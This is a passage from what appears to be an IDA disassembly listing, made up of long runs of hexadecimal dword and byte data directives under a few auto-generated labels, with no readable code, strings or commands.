		dd 0E3F0F46Fh, 8B2700Ch, 30DB7872h, 8B2C80BAh, 0F83A3DB8h
		dd 0E78A00EFh, 22DA76E8h, 3EA2027Ah, 0AF0A8418h, 24349C82h
		dd 0E2154118h, 0C63521B0h, 0EB217598h, 57810065h, 983BFFCh
		dd 7F0010E4h, 2238C14Dh, 0E96D455Eh, 77CAD040h,	0BB331DFCh
		dd 6200642Dh, 85182301h, 493903ABh, 0FBB78642h,	0BA4871C8h
		dd 45A5EB02h, 0C033147Ch, 0FB259h, 1C3DC68h, 74240820h
		dd 81483B38h, 0FE3DF93Eh, 58803394h, 7054876Ah,	2E03450Ah
		dd 585C3951h, 0B48AA7ECh, 14000597h, 0C14A377h,	0F0AB0927h
		dd 2C203544h, 0E249F779h, 0FF593A00h, 12BF4736h, 8FC301Fh
		dd 60864820h, 9874BE0Eh, 39CE16h, 81C8244h, 0ECBC00C7h
		dd 708A1366h, 0EA0045E9h, 16A7C20Dh, 51E31433h,	89202428h
		dd 58C0002Dh, 70536F2h,	5F07A712h, 4CE6780Eh, 9F417711h
		dd 541E9BC4h, 387C04Ah,	9D6C8BD5h, 54906B24h, 0B60C55E5h
		dd 0E1D7EAE4h, 0D35E0048h, 6614962Fh, 6B2C6320h, 0CE00A7FFh
		dd 2172E8A3h, 503D6C98h, 4A09DB3Ah, 29AC03Eh, 6092957Ch
		dd 0FA0120Ch, 6611162Dh, 0AC80B94Ch, 0B7F0C912h, 0FFEAD000h
		dd 6030BBF5h, 0FC1578E6h, 38C0D188h, 34F3739Eh,	0CCE70CB9h
		dd 4F983D72h, 48E10B30h, 70517A1Eh, 4E661F62h, 0FAC10048h
		dd 4FEF05BAh, 0EA67400h, 5098775Ch, 0C7C00CDh, 5422343Bh
		dd 30915F28h, 0B8A2E500h, 42CF9DC3h, 0E4132A4Bh, 0FCF07B00h
		dd 61924C1Fh, 43C000A3h, 0A99C55A7h, 0C8A91475h, 0B11C22FFh
		dd 0C50C36D4h, 67A15404h, 58C0AC65h, 0A42447Ch,	0CBE2B1BEh
		dd 0AE4080D8h, 54FEEA10h, 1E41F0C0h, 388C01Fh, 2CCB0E5Dh
		dd 33A29F03h, 530B88A7h, 9288B1F1h, 0BA002ECFh,	0F58BFB5Ah
		dd 132153D8h, 2E763B5Fh, 0A7061070h, 2561E0C0h,	7F0235F6h
		dd 0B426CEE6h, 5B0C4043h, 42DE3A9Ah, 0AB411E01h, 24E34561h
		dd 59042200h, 99B77FAh,	0B849B484h, 25B4046Ah, 5D73C067h
		dd 49111C3Fh, 26C17766h, 0D0E37098h, 68000E41h,	1450BBBAh
		dd 0AB159BE4h, 43D871C0h, 97FF1D1Eh, 1BC5B102h,	100111FDh
		dd 0F605525h, 21432436h, 845C5320h, 0C358805Fh,	72C440AAh
		dd 18AB4144h, 0D8621781h, 2F7F77BAh, 0C06AD71Dh, 8D6F0307h
		dd 0ECCB76D4h, 31ACF384h
dword_52F848	dd 0B0F759FCh, 252D5FB3h, 47E8F65h, 5FB56C0Fh, 0DB347380h
		dd 7495F8E1h, 0CEA80056h, 6DD319B9h, 701EC0C2h,	369DA39Fh
		dd 0F92F8700h, 3BB95892h, 0B600EB3Dh, 4609557Ch, 0F026DDCBh
		dd 6600FDC3h, 24D30C6Ch, 0FAA52E78h, 0FB6B003Bh, 9E41448Eh
		dd 2F1910C0h, 6FF3EDCh,	0E4E75676h, 16300806h, 0BE8F20A1h
		dd 49834CD4h, 22C0800h,	885A3E6Ch, 0E420A366h, 212E0004h
		dd 0E9BC5D70h, 9400FC64h, 31BEFF73h, 28C2F96Dh,	77C5ECEBh
		dd 3E60072Ch, 1785A1F2h, 0DBC0FE3Bh, 0E0B1D677h, 7B455507h
		dd 4F46A0E1h, 71BB0221h, 0B27641ABh, 8ED3FFE0h,	0DC9248C1h
		dd 8D0D6B7h, 62603AAh, 7984CD1h, 0E9ECC010h, 0E6A0F900h
		dd 1787B9B6h, 0D5E47200h, 195490BEh, 0A8CC50B3h, 0F34B0008h
		dd 0D1F2CF74h, 7200DF91h, 0F982DD42h, 447820h, 348B07BDh
		dd 0F1C0217Bh, 0EA01B775h, 0C5E66115h, 0CDDC2C1Ah, 0B899C08Fh
		dd 0B2372F48h, 0AF528476h, 3B3F10DCh, 3D534F00h, 0CFA7DCF2h
		dd 0E2A9DB00h, 7A5C476Ch, 414300F9h, 872C07A8h,	7400A0D1h
		dd 0FAAE3183h, 11D02F2h, 0DA8A4897h, 0C0BFCE05h, 0C100D92Ch
		dd 0C3136B37h, 39289Ah,	0E58B02Fh, 0E3843156h, 0A50CE101h
		dd 57167B1Dh, 0C09D83D0h, 0B7B3FF20h, 0A603B18Ah, 0AA145DF3h
		dd 0B036E065h, 35710010h, 51EEE969h, 0A9709416h, 0E039AF00h
		dd 4F74C5B7h, 0EC2CEC6Ch, 0F071C336h, 1FB8244Eh, 0A807B11Eh
		dd 2D09EF35h, 0E2E204Ch, 67FC8A47h, 0E6B4A4CFh,	0A95DFD0Ch
		dd 54007721h, 0A129FCFh, 90D690B9h, 0B8A60037h,	756BCA59h
		dd 0E5581456h, 40E81807h, 8009A8h, 2D95D442h, 7A1BE70Ch
		dd 56191200h, 2182535Dh, 0A56D3AC4h, 0C07691h, 254B75DEh
		dd 0F639C8Eh, 8B2F038Ah, 0BD39A5h, 0F29EB7F9h, 0C8001121h
		dd 0B4BF66DFh, 30A98CCAh, 49DACB1Ah, 80CE43D0h,	6FFBE12Ah
		dd 10BE5C04h, 0B4537200h, 0CAB85F89h, 0D5D4A31Dh, 20EADC0Ch
		dd 53520043h, 2E9EF2B5h, 0BD004FF8h, 0CBD876B1h, 104BFE1h
		dd 0D1FC5385h, 503B9941h, 0B66C77ACh, 0CA5A6B00h, 0B77E5D0Fh
		dd 49BE0CE8h, 105859A1h, 3E1E8000h, 94527398h, 0C5D606A2h
		dd 205F3572h, 2CCE900h,	9541D262h, 30C100F5h, 0B11FBFB8h
		dd 60A8AD21h, 0CE115350h, 608C8F8Dh, 340261F1h,	24E34D6Ah
		dd 4930A0B1h, 0C28C3F4Ah, 0B2F866B8h, 2E9B4401h, 97004826h
		dd 0BB3E2185h, 66442A53h, 921C027h, 1876B8EFh, 0B150FD00h
		dd 0B4A2C231h, 0EE8224BEh, 0D63D834Ch, 8D0A3C4h, 8000C9AFh
		dd 0BCFF4B6Eh, 51AA838h, 8BBBB360h, 32A800CEh, 89C01758h
		dd 5E01B976h, 0D8FAD285h, 5020B7A6h, 2614380h, 9239CF78h
		dd 904C42D0h, 80320550h, 0F05888CEh, 0F9F0034h,	0AA78F78Eh
		dd 0E37A0062h, 5C340ABDh, 311885CAh, 6ED09C77h,	0B8EB6041h
		dd 2F37F846h, 0BA7B7C00h, 0DAF66288h, 9FF300EFh, 86E2044Fh
		dd 0F001201Eh, 0CA5F2968h, 9880263Ah, 0BD8A7569h, 20CF1127h
		dd 880A523Ch, 2A80885Eh, 0F76479DCh, 0B810C01Bh, 0FB9746EFh
		dd 87FD3FE6h, 0F9D8B18Eh, 2F206Ch, 3E537F76h, 0ED2448C2h
		dd 9934AE00h, 0AF550C58h, 24114C26h, 2CA4BB08h,	78859440h
		dd 574421E1h, 760EDCA1h, 387C00ACh, 0E8B2BFD1h,	12CB002Eh
		dd 0A9C6B840h, 6B98AF1Ch, 0CB1350Ah, 6541B813h,	4DF409F2h
		dd 6C2086F8h, 39710008h, 0A87B97EFh, 0FF3E6DB3h, 0B7496080h
		dd 78DBB1C6h, 337AD0h, 93E385B8h, 300CA66Fh, 5500F674h
		dd 8A513B36h, 2381A1h, 796B6190h, 8EF4750Bh, 0B2656600h
		dd 927AA906h, 68C3004Bh, 32C2A439h, 0B93F4FA1h,	0AEB80072h
		dd 0C9C53803h, 128501A2h, 6F4249DFh, 0B0198AB4h, 80FD042Eh
		dd 784AF836h, 0ED03C910h, 4D2B0125h, 9B019707h,	94C5ACB2h
		dd 7CA03080h, 0B8380113h, 0E3C0BB67h, 8BA168C0h, 3AB9233Eh
		dd 0C3A01C4h, 60E7BE31h, 97040065h, 42EEE2CCh, 680F45F2h
		dd 0A28BAEDEh, 8B28A2EDh, 0C7A080Ch, 412A1808h,	11AFA37Ch
		dd 0E4082978h, 54AD2422h, 503024B7h, 42050C34h,	18EC2AE5h
		dd 5584E77Eh, 0FCF530D8h, 0C4509408h, 82425848h, 24394814h
		dd 540CAC2Ah, 224B24E0h, 0DC7CF15Fh, 0FA141FF9h, 0F810185Ch
		dd 24498AA5h, 42A03488h, 8513FA9Ch, 2B0D0C44h, 1C190422h
		dd 0C0A6500Ch, 189DCF21h, 0BC3B790Ch, 16FDD1Eh,	372318A0h
		dd 0F63919ADh, 0C310D69h, 22118AFh, 94A4EBC1h, 4839CCh
		dd 95007642h, 3B188A3Ah, 85F31Ah, 6AFEEBE2h, 6CB7D626h
		dd 9EC3BB00h, 7CF20794h, 829509CDh, 2420F702h, 0C1B3C276h
		dd 93A09A61h, 10248C4Dh, 92071036h, 0C9010034h,	0FBAC7B30h
		dd 23B00776h, 36FEF05h,	0A17CC28Fh, 6C8DE909h, 7DD8108Ch
		dd 2C233089h, 54D7A588h, 3B1AC40Fh, 9753C1B3h, 0AFE4DBD8h
		dd 0C6B052Eh, 2A39177Bh, 747E721Ch, 6FFE3F06h, 0BB1738Ah
		dd 7745CD95h, 1F6CA380h, 88C03E5Bh, 0F4C64880h,	895318A2h
		dd 270F59CFh, 0C4127514h, 0D1160084h, 54C7AF10h, 1CB0A08h
		dd 81C8B68Fh, 1F6DC91Ch, 365180F3h, 1E7CAB4Ch, 142054ECh
		dd 0C7800E86h, 35C6A0F4h, 720069CEh, 889822DAh,	6B691Ch
		dd 8D790C9h, 39056DA8h,	0CD9C6838h, 0A5FC001Ch,	0F3DFBCEFh
		dd 0A3F2005Fh, 5EE80AADh, 0E3603788h, 751F2314h, 4378028Eh
		dd 7ACA4C05h, 43C0A862h, 0D900C49Ch, 2716334Dh,	542CEF47h
		dd 48B7F4F8h, 9D0F611Dh, 7C857111h, 7BD401E5h, 8CAA4029h
		dd 80AE3ED0h, 9680876Ah, 26D74EF4h, 389089h, 0BBEA1630h
		dd 880BFD72h, 0FFC3B200h, 1C923C76h, 1E549AABh,	9948180h
		dd 7C83A453h, 0A4CD98h,	5AE802C9h, 95380323h, 476D8664h
		dd 5C016BA0h, 850719C0h, 0BDEE9B2h, 2457D88Fh, 90B140Eh
		dd 0AA071823h, 407E73E1h, 8C3AA988h, 8330D70Fh,	746F8E95h
		dd 44657080h, 84303920h, 18E472E0h, 91859A2Dh, 2801B82Ch
		dd 4B886B57h, 0FAC16098h, 0C8D3EF0h, 0CA651F27h, 7C91FF51h
		dd 0EB3D89BDh, 3C20805Eh, 0E816D406h, 0C793082Ch, 0FC049F11h
		dd 8C91C31Fh, 1420E080h, 38090A2h, 2C7EE14Ah, 0C855D14h
		dd 1F419D84h, 4C483D1Fh, 1C661EC0h, 4AB54DFh, 6F56264Bh
		dd 24C808Eh, 7D7C71ACh,	0AAF6AEA0h, 80866D28h, 0CBD51F03h
		dd 0AC921C95h, 8B4C1090h, 97801DC2h, 38495C2Ch,	8885CC3Dh
		dd 22A31C9Fh, 9848A8D8h, 42096ED7h, 0A2D57589h,	0E44D08h
		dd 0B54A2DAAh, 301D1900h, 9A24B7D0h, 1E649299h,	0A5DFB436h
		dd 0D887B3E0h, 0E05B2F18h, 0C74494E8h, 1ABA470h, 5C9C8A6Eh
		dd 2F116530h, 2CC4B0DFh, 86C109A9h, 9B0B679h, 62BAD754h
		dd 0B1B34800h, 6A02A13Dh, 5B4DC2B7h, 95C4067h, 49210092h
		dd 7E549F0Eh, 16008DF8h, 0E4B4E946h, 31DBF55h, 0D486F006h
		dd 282F415h, 4BB23DE0h,	0EF360403h, 98B19E0Ah, 391FC6DFh
		dd 0D98384C2h, 784E99F0h, 0AD9D5007h, 7C172D15h, 6A21BF40h
		dd 57F60001h, 51F8E17Eh, 0DA01DCFEh, 1FA64FCEh,	44CCE509h
		dd 7C90B0h, 0B7A968FFh,	2817E93Fh, 0FC6B500h, 4623C93Eh
		dd 7870C1C4h, 80F9D4ABh, 51277FA1h, 103C2D6h, 0EF5F2365h
		dd 832DFEB3h, 8A554A90h, 1B7800E4h, 2B5BAF16h, 48A8EA8Dh
		dd 63001870h, 0F75A5623h, 1F67A991h, 8ECF642Ah,	59C08312h
		dd 0D335734Dh, 0F6E98400h, 0FF7BC51Ah, 4F9300FAh, 7A0C7971h
		dd 852A2998h, 0AC0C841Fh, 9847D45Dh, 5917B79h, 43E2EBB8h
		dd 1FDE03B6h, 0D10D1734h
		dd 0B14FBDF0h, 3E1077C5h, 0AD30493Dh
		db 0EAh
byte_530055	db 0E8h, 0F5h, 2Bh	; DATA XREF: ___:off_437A54o
					; ___:off_437A6Co
		dd 87A600C6h, 6901F95Ch, 0D460F392h, 0A4354460h, 85FC1D14h
		dd 83F500E3h, 0AD78A562h, 97C20C1h, 0F1832F0Fh,	8BEA991Bh
		dd 0AB8CE0F0h, 0CD31FB62h, 0C165203Ch, 68C05719h, 9D1C546Dh
		dd 0D5B303A5h, 6F928E83h, 0C83B2900h, 17A9BA52h, 8D3A0065h
		dd 0C07820B0h, 0A8004150h, 8564A79Ah, 0CFDB8CD6h, 454BB741h
		dd 0F87FFF03h, 460F101Eh, 0F50AC744h, 7830DC32h, 5E073086h
		dd 90EC8FB8h, 0EF8C1807h, 0DEB11438h, 0A0402E01h, 98720823h
		dd 0F082019Dh, 327FAB44h, 2E91C476h, 0B3489A00h, 0A3DA5408h
		dd 4D1536D2h, 1F5088B0h, 3F0AAB04h, 0C5D6FF4h, 37762A02h
		dd 2DCCA04Ch, 0A344CFE0h, 0DC02A0E4h, 80EB49F4h, 5BB13600h
		dd 7E51B4FDh, 0F9F0A709h, 747C1189h, 1DCB2DF4h,	40945ED7h
		dd 65676072h, 42003F13h, 42169E3h, 976A7C4Dh, 255F5800h
		dd 94018EE1h, 86D69B2Eh, 0DBD02974h, 1403001Fh,	0F629605h
		dd 0FC78E989h, 5F8CE509h, 0B24B80A6h, 75D73A7Bh, 0F009B0BEh
		dd 0E9A303FCh, 53FDDDE0h, 70A25107h, 7C80C411h,	30A6E1C6h
		dd 21110B0h, 78F0A8F8h,	0D390C516h, 80307010h, 33A8C408h
		dd 48DC540Fh, 7C7F060h,	3B8AECA0h, 2568D2D3h, 0E0EAF703h
		dd 602DBB26h, 0A7838A7h, 4008F42h, 0BD1CC71Bh, 0F19618h
		dd 6AE6F8ACh, 9AD3856h,	0AA58B500h, 60F3940Dh, 0CB040B6Eh
		dd 7200BC7Bh, 82A4384Fh, 8E86200h, 0B661BD9Bh, 3FC200CEh
		dd 8D5FE931h, 0FD008A03h, 29A15C72h, 3FEBB6F0h,	2A804C91h
		dd 4B4EE727h, 0A3070499h, 0A4A9B294h, 1671E480h, 0B9A10142h
		dd 9559EF48h, 9E56C073h, 0E640C803h, 9B39AEA2h,	0CCF388A5h
		dd 877600A9h, 0F0E5EBFCh, 573DF195h, 15E69E7Ch,	40DDAB8Fh
		dd 460CD616h, 0AE02022Eh, 1066830Bh, 80A8D087h,	541B2A58h
		dd 0C80320E2h, 7F5A019h, 1614F8EEh, 128C0008h, 448BF0F4h
		dd 211FA592h, 0FAC0F571h, 0EEE745ADh, 9E1B00B2h, 0AF580CE8h
		dd 0B5004309h, 20C10207h, 0D4F487h, 6BB7CA4Ah, 2EF777F9h
		dd 0B111B61Eh, 0FD0A4641h, 0C20A06Ah, 546476BCh, 82D434h
		dd 3D9D63A5h, 0C26C415Bh, 0B0F7A000h, 0B4DBF37Fh, 0D38D0980h
		dd 823B63Ch, 0FBCFE01Ah, 0EA0726DCh, 0E8630599h, 0C835C812h
		dd 3CF3009Ch, 5FE5A60Ah, 0D4004BB7h, 8F260E31h,	425BDh
		dd 0D81A1C6Bh, 4613F266h, 802FF538h, 0D2EBB04Fh, 5084E5BFh
		dd 95AA9C11h, 0D1009AD0h, 77145333h, 3EF4D4CFh,	0D50EE81Fh
		dd 0FE609818h, 58B5B08h, 939AD300h, 0C30E33A3h,	0F1E103B0h
		dd 14261683h, 915038h, 0CA298E3Fh, 4975962h, 9C18C33h
		dd 0B1788806h, 27860E07h, 0BBF0B835h, 2A45B982h, 3F98EB7Ah
		dd 6806EC5h, 0BC815F39h, 0F5189ADBh, 3F218870h,	0A06B0082h
		dd 0A66D2386h, 0CF1DD3D8h, 0A39ED49Ah, 0F9988A40h, 74CEE80Fh
		dd 41051231h, 1114459Bh, 0A0C4802Dh, 7300203Fh,	7A44303h
		dd 43CF4F1h, 8E11C5B0h,	2923C1A5h, 0D8708065h, 0E21EF264h
		dd 88F30030h, 63817980h, 5329DF3Dh, 0F800F45Fh,	0B7E550D8h
		dd 77E00F41h, 5220D179h, 4B49D62h, 0EF70A500h, 1299C444h
		dd 8010046h, 0D4DBB0E9h, 921C7376h, 34C05655h, 8691A68Ah
		dd 3EF74C04h, 20DB600h,	0E9075AD9h, 48EC9A00h, 57DD8B18h
		dd 8695009Eh, 2231A80Ch, 0D873FF5Ah, 99FCEB18h,	888AC428h
		dd 0AD889D01h, 7F51CAFBh, 54330414h, 39CD047Ah,	51607B46h
		dd 9B372300h, 0E667CFECh, 780E48Ch, 0E772B0D9h,	0C7BCE020h
		dd 3D007BFEh, 7FE9EF7Ah, 696AD1h, 0F9DC2B19h, 0FD8B7181h
		dd 6420900h, 0D0CDC9CBh, 0C130006Bh, 0CC7CBFA2h, 0AE1DDDF8h
		dd 1D805CD7h, 0AB403B4Dh, 98F0020h, 0B14B534Ch,	8700EC81h
		dd 77A06927h, 198207h, 167072B9h, 0E304A936h, 0C0CF0602h
		dd 0C09939D4h, 0DE9326h, 0D65082D0h, 0EFA26380h, 481C0798h
		dd 0D34092AEh, 9036B2C0h, 5DCD1C27h, 0AABD00BAh, 37F03D1Dh
		dd 0B645F400h, 72CC7B5Fh, 0A8D2308Bh, 0C6615160h, 938B803h
		dd 0E48CD035h, 0C8823E80h, 74B916BFh, 56F3074Bh, 93871012h
		dd 0C41D0347h, 984E4ECBh, 2248201Fh, 0DAC74Bh, 0FA8A2D8Bh
		dd 8ECA41B5h, 0F4B6CD0Fh, 5A2EC0E3h, 6BC32Ah, 0A3DE3031h
		dd 7E2FC872h, 0F9DB4F0Eh, 1B4E2155h, 0C4ECBF93h, 0D8A0010h
		dd 2648C579h, 0E001189h, 0FF20AE33h, 3EA1BD3Dh,	0AC00B45Ah
		dd 9F37E4BEh, 2F6FC3B3h, 192CE078h, 0B014A3h, 0EE7685E2h
		dd 66C63A27h, 40D5A400h, 34E610DFh, 0BBD60F22h,	5AE3553h
		dd 0E358B761h, 6111F4F0h, 93ADD81Eh, 0ECE97F40h, 5DC670h
		dd 0A93ED35Eh, 378F1CFCh, 0DB08401Eh, 0F2D915CEh, 75FF4200h
		dd 3DF05188h, 5780C2DDh, 0D0147A96h, 3628D604h,	0A600BC0Ch
		dd 74BBB46Eh, 0BF7FF4h,	44113C90h, 4B32D551h, 9F09F10Fh
		dd 593FA005h, 0C11546h,	0DD70CF6h, 9EB140D0h, 0ED007171h
		dd 0CC1BEC8Dh, 0B434B88h, 76FEF558h, 0BEE8A300h, 0AB004A06h
		dd 5C7592BFh, 3C03F60h,	194F69D1h, 3EF85397h, 4507D7BEh
		dd 7CEC464Bh, 3CF6D170h, 687DCEh, 0C6F8F463h, 47C45411h
		dd 509F7D1Dh, 57EC2BC0h, 0F59895h, 2E665869h, 28418313h
		dd 79DD48h, 0DAB2DBADh,	0E154F7h, 9EA57E0Dh, 17C056CEh
		dd 7BE0EA07h, 6E04823h,	0E44249h, 5B8AB7E9h, 0CF3B40E8h
		dd 9A04DA0Fh, 18F3E088h, 0DCCB7Ah, 9B0A10EBh, 75320939h
		dd 5B0055FAh, 8697CCE0h, 407C2Dh, 28F00AC9h, 2C74BFE8h
		dd 4C4F2900h, 0C0F9FB32h, 45530002h, 69AE4404h,	0E0006C77h
		dd 0C20A26F8h, 3A0CD74h, 29822BB4h, 4F88B54Dh, 0F7F7B47h
		dd 0DDD68B00h, 9F64AB79h, 5CCFE6CEh, 5002119h, 142B92BBh
		dd 4A002607h, 0C384CC30h, 1F4EF01Bh, 401C228Eh,	0D2434F61h
		dd 0CF00DBC8h, 60C0F30Ah, 60149510h, 0A933184Dh, 77167DC6h
		dd 7EA27DCh, 515BAE33h,	0DF31A002h, 0BD4D80D8h,	0FCC95900h
		dd 2E746ED6h, 412029Bh,	8AF43AACh, 0C1868EC0h, 0A3D43F00h
		dd 46F91F1Eh, 0DFF0000Ch, 6637DA6Ah, 0FC00579Ah, 324502ABh
		dd 6FEA94h, 5CAEDF69h, 3CB7A3C9h, 6D4F3Eh, 919937EEh, 3F48D59h
		dd 0A368DBFDh, 1D8890B4h, 5200D957h, 895F384Ch,	75D43BA0h
		dd 59F887h, 357E6F42h, 53C247F0h, 6CB3F900h, 0E4CB8E7Bh
		dd 0BB92000Ch, 0B56E7D24h, 1B000944h, 2F892D3Eh, 98BE18D7h
		dd 3C950799h, 0DED48A42h, 6C0830A0h, 1C007E9Ch,	0CCCD8A8h
		dd 0C5EDC7h, 70344FDBh,	8C97CF49h, 685B2302h, 58A68548h
		dd 93B057h, 0A4B2F892h,	64F22362h, 0EAF6CE07h, 0E0CF384Ah
		dd 0BC5B1CA3h, 68AE006Eh, 64DE172Eh, 6C00F971h,	0FE5114F5h
		dd 50B359h, 0B9D627D5h,	0A6309F8Bh, 139D058h, 2182B77Eh
		dd 0F8C40703h, 4320573h, 0C0BD1008h, 704D89B0h,	0C4050E00h
		dd 3A7D6E39h, 871800F9h, 7B44D354h, 0FD184189h,	15286325h
		dd 938A00B4h, 0DCBB9C84h, 0A8004DDFh, 2260111Eh, 78F0D0A9h
		dd 493700D1h, 0F37C40E1h, 2800C819h, 0C3B057CFh, 7FD3CC89h
		dd 0FFEC026Ch, 6FDDBA8Ch, 0E66880FDh, 0F2B7078Bh, 943A00A6h
		dd 1E9E261Fh, 0EB1FB6EFh, 5EC08849h, 0F1AE5DF6h, 0BCB900B3h
		dd 0A92B2C59h, 7100F71Ch, 299D96C2h, 7A6381Fh, 857F11BDh
		dd 846A0C0h, 741EE7CBh,	0D180B4DCh, 0DD6C8717h,	992200D2h
		dd 65901906h, 0C107ACB2h, 972A4016h, 0F870CD20h, 0CAFE16E8h
		dd 0BD1B01AFh, 83F5F676h, 4F573811h, 0CF10F0E0h, 0B17334h
		dd 129C978Bh
		dd 0B48A80C1h, 46AE2100h, 0D8337482h, 41A900EEh, 60F7361Bh
		dd 8B005CCAh, 1BB2F21h,	25574F8h, 0E308A16Dh, 5060DAE1h
		dd 2DE2BD32h, 4FB1D11Dh, 80FBBF0Bh, 798823EBh, 3751000Fh
		dd 5C847604h, 0E601C7FFh, 0AE8BF12Ah, 0E1F85770h, 9480086h
		dd 150EAD0h, 303802Fh, 789D380Ch, 61F488C7h, 8E4003Eh
		dd 0F907325Eh, 1C507C35h, 800034D3h, 0BAA57430h, 6F6D1Bh
		dd 5CE7CE9Ch, 51EB22F1h, 0D685B600h, 0E6A0903Ch, 26A30561h
		dd 0C055DD08h, 278A2EE1h, 3819BA00h, 1BC52C8h, 24CB0073h
		dd 0BD1A6777h, 0AC12C98Ch, 40193E2h, 10A7F71Fh,	7CA4770h
		dd 88FDA873h, 8A988164h, 0ED7620D2h, 0DA6D800h,	3299C71Fh
		dd 0BF5B033Eh, 195F7AC4h, 716344B0h, 8631E161h,	4220B685h
		dd 56F24Fh, 2E9B3824h, 3415663Ah, 0ECCC2307h, 0C03E8C37h
		dd 0AF57C030h, 0A33506C3h, 10CBC9DAh, 829B300h,	0CF505BECh
		dd 889E0002h, 332D281Ah, 4E0372F0h, 37E147C2h, 63074E6h
		dd 0D8FC0A79h, 50010CAh, 807F7E40h, 73BCBF2h, 1D1FFB08h
		dd 35B8E053h, 0EE00FD19h, 0B3647D14h, 2C2BA09Ch, 0FEE4C0h
		dd 7023E656h, 0E0781EBh, 15204691h, 0FCA8D010h,	0C9A406BCh
		dd 50DCA987h, 0C0E9CE00h, 74EC225Fh, 2E8B2EE3h,	0F6A10192h
		dd 2192EA6Eh, 0E0CC00C7h, 0BA044A11h, 0F2FFC79Eh, 4C0C884h
		dd 55EEB8h, 0B2FC7426h,	435C578h, 86162000h, 0FF360D76h
		dd 0D58D0368h, 67548CDDh, 0A09A708Fh, 200154Fh,	6C0C4722h
		dd 488ABh, 32BE5419h, 406F8B03h, 1F980150h, 8C774400h
		dd 0E768EDD0h, 0B081002Dh, 0FA1B6494h, 2200BF8Bh, 682AB66h
		dd 30835C2h, 0E1F5A49Eh, 81F8C325h, 331ED39Ah, 340039A5h
		dd 0DD8953DCh, 98972C1Fh, 0A171013Fh, 0E4951AABh, 86009BE1h
		dd 0A70EFB0h, 1EFB7AE0h, 80116219h, 9F8CD84Eh, 680FC635h
		dd 0C2EAA58Ah, 0E01CFB07h, 0B802B0h, 86AAA0ACh,	0D7471065h
		dd 0F84CE00h, 0AFBC53E3h, 9A560531h, 80F1832Ch,	0BE8D4974h
		dd 50987D00h, 0AE3E8936h, 0B6E800D9h, 2F8F34B9h, 37E4102h
		dd 9B00E7EEh, 959A4968h, 711F966Ah, 90BA1658h, 439010Ch
		dd 700B3A0Eh, 420F842Fh, 407ADC07h, 2BB26836h, 40240015h
		dd 0F8A70DBDh, 4D0206FEh, 16C5044h, 20EBE0AAh, 3AA90008h
		dd 62A37F7h, 2F0063EAh,	38A1C8F2h, 184C37Fh, 0BB395A52h
		dd 0E04A78B7h, 1B038B72h, 57346CD8h, 0D1E0C0A8h, 28596079h
		dd 70042AC8h, 0BF7ABE7Bh, 68460700h, 0C0525C66h, 0CBB800F7h
		dd 0ED7E344Eh, 3F006CA8h, 0E910D858h, 0EB6245h,	0C1D70E7Dh
		dd 19A6B660h, 0BD4C3A0Ch, 0E4018B7h, 2817C17h, 7B3C5240h
		dd 0C50B58AFh, 802FF71Eh, 375DF943h, 0FD3789Eh,	0E119EDE2h
		dd 0FFD8F20h, 30C0779Ch, 10997FA1h, 480100F8h, 0D1BFC0A5h
		dd 6AF646F2h, 0F0CE500h, 78158C54h, 4410397Bh, 0FCF92100h
		dd 0EB58F014h, 0ABADE007h, 3777C974h, 40848F82h, 0A4B609h
		dd 5DC489Eh, 4F90470Eh,	2AF91B07h, 0C2F09399h, 0A060CBh
		dd 3CDB7AD0h, 89FA8438h, 0DA00B2F0h, 4E07E688h,	17EADF1h
		dd 20BE8664h, 0F4F7D553h, 6200FA81h, 9FD61F33h,	99D2ABh
		dd 3D0B4FBh, 287C3CAh, 3A6CB958h, 952D00CDh, 2176E1C6h
		dd 67F800B0h, 25E58641h, 560B1772h, 8065C7B7h, 0D3F9B5D5h
		dd 0ED21002Ah, 38FEE199h, 8600E00Bh, 92B7D8CDh,	2EF698EAh
		dd 572F66h, 6EF9C221h, 40007562h, 87F33D2Ch, 0EA3CCDE2h
		dd 7D3A001Fh, 5F724179h, 960082ACh, 978918E9h, 2BEE2Ch
		dd 55C1B870h, 0A188E14Bh, 0C8F0CF0Fh, 0EA6140B5h, 768974AEh
		dd 0ECF5001Ah, 0C53A4EA2h, 2D00AD11h, 2B95D584h, 0F3A42Eh
		dd 3EBF3052h, 1D35E3DFh, 74072200h, 0D4EA3780h,	9A031448h
		dd 0B500DC7Ah, 8EFC203Eh, 4E001D87h, 0E13C6685h, 27775093h
		dd 9D7C6BDAh, 2A96DF07h, 0AD53D7F0h, 1D86016Dh,	9325F29Ch
		dd 0F798C7D0h, 0DA00BC99h, 0BD9F27A7h, 75598E5Ch, 257800FFh
		dd 7FF8EC77h, 0FCE6D6CDh, 0EBFDC11Ch, 80CFF0C0h, 0F2BD9964h
		dd 899E00AAh, 0B9F5E378h, 961EAFD9h, 40C01163h,	22F3752Dh
		dd 0A1BE00A0h, 69D8824Dh, 4C50A4CCh, 121E61D8h,	803EFDC8h
		dd 0AA1D0887h, 0E0E5051h, 8657118Bh, 0B3D10A80h, 0BA1D6FA1h
		dd 0EB40CE03h, 39BE1D84h, 0F4875D6h, 46C01A2Ch,	71EFDB40h
		dd 8600D755h, 49F4AD97h, 1415437h, 0C14378F6h, 0C71BF105h
		dd 0AAA83007h, 70CCC2CBh, 0A7FE00E7h, 24C9884Fh, 0C400A21Eh
		dd 0C0053F31h, 0F8257E0h, 1C470F5Dh, 0B72F2000h, 0A600FB6Dh
		dd 7179E609h, 0A0F027h,	0D32CDBFFh, 87FCA9F8h, 0F1136800h
		dd 3885AEBFh, 6ACB0029h, 1DAE956h, 0C753104h, 69494300h
		dd 33B1C3ACh, 0F9200F4h, 4A635D19h, 961F3DC0h, 0B6C0237Fh
		dd 18E48B13h, 0E9D00DDh, 0FC04364Dh, 1B00D09Eh,	0BC712DDCh
		dd 7EE1481h, 5209EACCh,	593508Ah, 541E45A9h, 5D403D6Fh
		dd 84AE3357h, 9CECBEh, 7D201E44h, 635F26C0h, 21E2F300h
		dd 0ACCE2D1Dh, 6C272C67h, 0E4CD141Bh, 76F3ED0Eh, 94D2A720h
		dd 1600A2D1h, 0D4E42C5Eh, 0E5990A8h, 0B3DD0B48h, 1828D880h
		dd 8907B4A4h, 7E847065h, 75E74980h, 0B3B031h, 0D3428F7Bh
		dd 9E6D40E8h, 12B48300h, 7E87F12Dh, 0A7050186h,	35AD9D47h
		dd 702CC588h, 163ED53Dh, 18A49E01h, 552AB843h, 0B130F1DDh
		dd 0A8879CFDh, 0C0CAC8F9h, 6CB218CFh, 2AB64Ch, 33269DEAh
		dd 320D119h, 0DBA0C706h, 66A06112h, 7E0FC17Ah, 4ED3A99Eh
		dd 36FB87C9h, 3FA4D7C0h, 50170133h, 0AB700C7Dh,	85108E79h
